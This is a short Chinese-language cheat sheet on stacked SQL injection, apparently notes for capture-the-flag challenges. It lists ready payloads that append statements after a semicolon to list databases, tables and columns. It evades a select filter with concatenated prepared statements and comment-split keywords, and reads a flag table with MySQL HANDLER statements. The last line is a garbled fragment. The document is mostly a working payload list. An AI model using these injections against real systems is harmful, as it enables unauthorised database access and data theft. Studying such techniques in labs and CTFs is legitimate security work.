堆叠注入

堆叠注入

用分号可以 执行多条语句

查看所有数据库

-1';show databases

查看当前数据库下所有表名

-1';use 数据库名;show tables

查看表名下所有字段

-1';use 数据库名;show columns from 表名

flag,用预编译的方法

-1';use 数据库名;set @sql=concat('select `fl','ag` fr/**/om Fl','ag');PRE/**/PARE st/**/mt1 FR/**/OM @sql;EX/**/ECUTE stmt1;#

select被过滤,用HANDLER语句,语法

HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,) [ WHERE where_condition ] [LIMIT  ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT  ]
HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT  ]
HANDLER tbl_name CLOSE
1';HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;#  

‘select ``fl’,‘ag , from Fl’,‘ag’